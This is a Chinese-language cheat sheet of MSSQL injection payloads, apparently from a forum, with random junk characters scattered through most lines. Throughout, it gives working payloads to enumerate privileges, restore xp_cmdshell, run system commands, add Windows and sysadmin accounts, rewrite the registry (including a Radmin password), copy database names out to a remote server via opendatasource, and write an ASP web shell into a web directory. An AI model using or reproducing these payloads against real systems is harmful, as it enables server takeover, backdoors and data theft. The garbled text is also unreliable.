//看看是什么权限的
~5 R; \0 |$ E0 @/ vand 1=(Select IS_MEMBER('db_owner'))1 r8 [' B0 x" E' J/ v& @7 q1 [/ z
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--) {+ Q0 v9 p' a3 H) c. A0 u8 V
9 Y. y7 W0 E/ Y//检测是否有读取某数据库的权限
( `3 {& c7 r e8 {% Vand 1= (Select HAS_DBACCESS('master'))! m& Y0 t* |# @- U
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
5 d, M4 y- |0 O/ M* S. M# U4 s
6 J+ `0 Q8 B6 f8 `3 e% i2 R( S2 L# T- c6 p) H6 B
数字类型
; V9 s9 x- F2 z! O' z9 Mand char(124)%2Buser%2Bchar(124)=0
3 Q: ? d, ^8 L, L2 j7 `* [7 C# b: o. S( H% ? W
字符类型 i- B2 A2 `. D2 p; S
' and char(124)%2Buser%2Bchar(124)=0 and ''='( o/ A1 k0 W7 g6 _2 R0 R
$ w7 l, a9 J" U/ J& v( s搜索类型
+ ?& w/ X6 I4 Y' l: B, k' and char(124)%2Buser%2Bchar(124)=0 and '%'='- Z0 [% {8 ]+ _4 Q# d
' R3 x* [: r( s' s- E' P0 F爆用户名, [$ F6 R: j) P" A4 e
and user>0) T# F% \' _7 x0 U+ O( H
' and user>0 and ''='- |1 F ]/ h) i9 W- H& W2 E3 t
# O9 l3 Y0 A$ }, i d检测是否为SA权限- C$ H0 D9 e5 W: g, ~' Z9 q
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& z. Q0 d2 U' G$ [And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --: f7 s t- Z) K, W0 m! Q3 g
) n c- Z7 R. q7 R% B检测是不是MSSQL数据库
: ~' a. y9 W9 P$ Cand exists (select * from sysobjects);--4 J% A" b$ p' ?5 b0 n8 ^7 u9 L
3 k7 S, V7 W9 `2 i: ~; T5 b检测是否支持多行
8 H, }" P, i, ^$ e# W;declare @d int;--$ L( v9 _1 e% }+ I/ j" k9 v) Q3 `
# w( R1 W9 q6 H8 w4 O7 j恢复 xp_cmdshell: P$ y6 {6 O# p
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--* M; `' H0 G# r" x& H
0 c* ?- k% K' h9 X
. S/ q2 k# G# k, o
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
& t6 c# U( n. g; D& [! y
$ s4 Y7 T$ Q2 i//-----------------------
, ?6 `6 q$ I- M8 o: R4 W// 执行命令& m" u7 Q' z/ u9 B' ^
//-----------------------
- }$ R2 K/ y4 o首先开启沙盘模式:
' ]/ o8 Y C" E) X3 |4 A. o% C! sexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! j$ w+ x& L1 \. K+ F) B
8 w% `+ u. y: p然后利用jet.oledb执行系统命令
+ B. q; v1 a: }select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')8 X K) K1 }8 E. I" f. U
" x+ L+ V4 g3 S. J( M H1 ~
执行命令
! l+ V; W$ l4 L% ?;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--4 I* l1 V: }7 G2 q' x$ E T9 I
' S$ s: D; v1 j$ J7 T, H+ D
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'" H; h6 q" D6 e
) Z* t% F6 K+ o4 C& W+ ]
判断xp_cmdshell扩展存储过程是否存在:2 w0 U6 y7 v O! g' C, N* w
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
3 N; t8 W9 k2 x8 G( a- }5 w: L" O0 R( Y) Y- s
写注册表( N% Z$ B; r5 d
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: i. |7 R* K9 x% G) [
& T8 V/ C* i: Y& [) g/ o3 Y
REG_SZ
# g& V: F2 ]4 z3 e6 z. `8 }1 j0 ^. n+ u6 H
读注册表+ A2 d: ^9 B) J7 W R
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
% D" b, W: H- n3 l1 j8 w; Z
2 T9 [6 N* u1 a' q% D, }读取目录内容7 r7 Z E4 b3 s0 ^# h4 u" m+ j$ x% U
exec master..xp_dirtree 'c:\winnt\system32\',1,1( f6 J. p3 \% K8 j+ ~1 A
4 {9 Y W" U5 d* J6 \3 S f! l5 r0 C$ v3 N
数据库备份5 X% Y1 O9 k# ?
backup database pubs to disk = 'c:\123.bak'
% Q# H) `7 ?) X0 ^
: a6 ?1 _: U, F- c5 l. }//爆出长度: z4 \8 E N( T4 q5 k* V+ {; ?; p
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
4 X& [* `2 E& b8 E; F& b1 z E! y2 ]. _2 u
+ Z, I1 V; z. |5 P
" b+ s1 d$ {; _- q+ r更改sa口令方法:用sql综合利用工具连接后,执行命令:. |/ @7 x- G* U, M# d. m
exec sp_password NULL,'新密码','sa'& b3 E+ L$ L& C
2 r0 u; L) ?* D
添加和删除一个SA权限的用户test:
/ ` q) b& ]9 |exec master.dbo.sp_addlogin test,95307722 O: V/ ?4 F3 V# A' c+ U
exec master.dbo.sp_addsrvrolemember test,sysadmin0 t8 D4 Z6 ~2 \8 R; n
# @# z: x7 `6 B: v. }
删除扩展存储过过程xp_cmdshell的语句:
. r) }) H( }" g- O! B- k, Kexec sp_dropextendedproc 'xp_cmdshell'
7 C' j, y# c s( X! y- e! g; ]" I; s; K9 t; f( P
添加扩展存储过过程
! i+ U9 _" Y. L3 X4 |# NEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'* e7 U: ^9 s3 X! \ n1 U* a& X3 |1 i% O
GRANT exec On xp_proxiedadata TO public8 t6 F/ ]3 @4 o
9 i5 S3 z, V/ x' `4 A
, o' r$ N m4 n; t& F停掉或激活某个服务。
# Z2 P/ a# b. p) ~8 {' c( b6 \7 r! O3 E" N$ H$ |
exec master..xp_servicecontrol 'stop','schedule'3 T7 ^- K* R; w- M, w3 m) k
exec master..xp_servicecontrol 'start','schedule'
8 a |3 E* l, a* C: p
, K3 ]" S1 C4 ?5 r' a, {; Zdbo.xp_subdirs* Z* @8 T m/ i' t$ ^* p- x) S
7 [4 T! N, P( r F6 c
只列某个目录下的子目录。2 l) H( r7 A1 s2 ?4 b! ~: a' j! H
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'1 \8 v. }+ c' Y& a
$ ?* z' ]" u; X- o. h
dbo.xp_makecab- p8 A! e: e5 l V* [* ]
+ O$ M# \" |$ _. x. B4 v
将目标多个档案压缩到某个目标档案之内。/ @+ D7 f" \2 R. q$ p% ~
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。( ^3 y3 v% @2 ]( P
' @+ L$ | ?: `6 M! k
dbo.xp_makecab* M# u- n8 Y" Y# ^/ A1 F4 a
'c:\test.cab','mszip',1,0 n0 K4 a! ]3 I
'C:\Inetpub\wwwroot\SQLInject\login.asp',3 u2 b- j, K$ t" x
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'/ f* w* V p" r
3 r6 ^1 z% F2 h: p2 E7 K
xp_terminate_process
; k6 z1 C4 m. H$ t6 \0 |/ J4 e+ z* Q$ i& B& B! e" D8 G6 R9 T
停掉某个执行中的程序,但赋予的参数是 Process ID。
) W. x+ L+ s6 c- s2 [" u' e# A6 n3 s利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
$ t/ I5 h7 ~9 x5 U( H' S d: A( B3 K$ ~
8 D0 [3 w& P" a1 exp_terminate_process 2484
% p# B6 k; v3 C! X5 c5 t; d2 b1 L
. U" q# q y6 j' O7 s7 C" Xxp_unpackcab
7 \4 j6 G& W+ @" b: V' j5 Y x' ]- O- ~$ w
解开压缩档。: ^' ^6 y, g, _9 f
1 W i. o4 T3 \1 P O
xp_unpackcab 'c:\test.cab','c:\temp',13 l6 u# Q' a6 k5 a! g6 k1 [
. X1 j) H; y" q/ ~. j# i8 }; D! S
3 c' H) X$ E; ~# K, }1 ~: |( ?. R
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
, ^3 G8 T. m7 I3 B8 K& I& G$ U: n+ [% _' w3 c$ k
create database lcx;; R" O2 E- U/ g' W) w# `
Create TABLE ku(name nvarchar(256) null);
4 H: \. s [6 X) _Create TABLE biao(id int NULL,name nvarchar(256) null);
1 Y; C6 f5 a( c
+ a/ N* u1 L0 J" H$ N5 s/ K//得到数据库名
, q# [' k: T3 G3 Finsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases0 p( k; C. L: U/ J- v- w$ J
* q$ Z0 c$ k* r. `! Y9 i! z
+ q {- I+ R% O! Z
//在Master中创建表,看看权限怎样
8 i' v+ ^' n! f( D2 x" _Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
0 p+ A# [3 _4 x- x i
5 I6 c0 V4 k% O1 O用 sp_makewebtask直接在web目录里写入一句话马:% h- u. [. N$ M) h, N
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
9 Z% K1 i; v3 {0 B1 W V5 d- Y: I" ?4 A+ m* V3 A" s$ e
//更新表内容
( {: ~0 X. n# L4 t3 e, Q) YUpdate films SET kind = 'Dramatic' Where id = 123
* l9 q5 a$ e# R. |1 p1 I% T: z
# Z& R- b4 d* s; u//删除内容
. z6 [. N# n; ~! p& ` P- V1 Ldelete from table_name where Stockid = 3 |